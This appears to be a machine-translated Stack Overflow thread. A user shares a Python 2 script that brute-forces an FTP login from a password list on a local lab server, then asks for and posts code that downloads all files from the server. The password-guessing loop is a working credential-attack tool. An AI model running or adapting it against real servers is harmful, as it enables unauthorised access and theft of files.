Gil*_*ald 4 python ftp python-2.7
我构建了这个简单的工具来暴力破解并连接到ftp服务器
import socket
import ftplib
from ftplib import FTP
port=21
ip="192.168.1.108"
file1="passwords"
try:
s=socket.socket()
s.connect((ip,port))
print "port",port,"is open"
moshe=open(file1,'r')
for line in moshe.readlines():
password=line.strip("\n")
print password
try:
ftp = ftplib.FTP(ip)
ftp.login("NINJA",password)
print ("THE PASSWORD IS:",password)
break
except ftplib.error_perm:
print "Incorrect"
moshe.close()
except:
print "port",port,"is closed"
ftp = FTP(ip)
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()
Run Code Online (Sandbox Code Playgroud)
目前该工具正常工作(我在文件列表中设置了正确的密码第3位) - 当我登录时,我得到了这个输出:
port 21 is open
123
('THE PASSWORD IS:', '123')
File List:
drwxr-xr-x 2 0 0 4096 Jan 17 19:15 Folder
drwxr-xr-x 2 0 0 4096 Jan 17 19:12 Folder2
drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3
-rw-r--r-- 1 0 0 0 Jan 17 21:42 blat.txt
-rw-r--r-- 1 0 0 565 Jan 17 19:10 try.py
Run Code Online (Sandbox Code Playgroud)
从这里,我想要的是允许用户(我)检索文件1个特定文件或所有文件 - 但我不知道最简单的方法是什么
选择本身的1或全部,我可以做,(按1复制全部 - >)但命令本身复制全部或只是一个,如果一个然后基于我不知道如何做.
编辑:添加Xendrm建议的代码yealds这:
Type a number for download or type 0 for all
0
downloading=> Folder
Traceback (most recent call last):
File "/home/USER/aPython scripts/BRUT FTP.py", line 49, in <module>
download(j)
File "/home/USER/aPython scripts/BRUT FTP.py", line 44, in download
ftp.retrbinary("RETR " + files[j],f)
File "/usr/lib/python2.7/ftplib.py", line 406, in retrbinary
conn = self.transfercmd(cmd, rest)
File "/usr/lib/python2.7/ftplib.py", line 368, in transfercmd
return self.ntransfercmd(cmd, rest)[0]
File "/usr/lib/python2.7/ftplib.py", line 331, in ntransfercmd
resp = self.sendcmd(cmd)
File "/usr/lib/python2.7/ftplib.py", line 244, in sendcmd
return self.getresp()
File "/usr/lib/python2.7/ftplib.py", line 219, in getresp
raise error_perm, resp
error_perm: 550 Failed to open file.
Run Code Online (Sandbox Code Playgroud)
Gil*_*ald 17
好吧,经过多次试验和错误,我发现如何做到这一点. - 该脚本将在选定的目录中的所有文件 - 没有想出如何把所有的文件从所有子目录的为好,但这是绰绰有余好 - 将离开这里未来的人看到.
from ftplib import FTP
import os # allows me to use os.chdir
port=21
ip="192.168.1.108"
password='123'
os.chdir("c:/Users/USER/Desktop/new") #changes the active dir - this is where downloaded files will be saved to
ftp = FTP("192.168.1.108")
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()
directory ="/home/FTP" #dir i want to download files from, can be changed or left for user input
filematch = '*.*' # a match for any file in this case, can be changed or left for user to input
ftp.cwd(directory)
for filename in ftp.nlst(filematch): # Loop - looking for matching files
fhandle = open(filename, 'wb')
print 'Getting ' + filename #for confort sake, shows the file that's being retrieved
ftp.retrbinary('RETR ' + filename, fhandle.write)
fhandle.close()
Run Code Online (Sandbox Code Playgroud)
作为证据,这是从上面的代码收到的输出:
File List:
drwxr-xr-x 2 0 0 4096 Jan 17 19:15 Folder
drwxr-xr-x 2 0 0 4096 Jan 17 19:12 Folder2
drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3
-rw-r--r-- 1 0 0 0 Jan 17 21:42 blat.txt
-rw-r--r-- 1 0 0 565 Jan 17 19:10 try.py
Getting blat.txt
Getting try.py
Run Code Online (Sandbox Code Playgroud)
| 归档时间: |
|
| 查看次数: |
30164 次 |
| 最近记录: |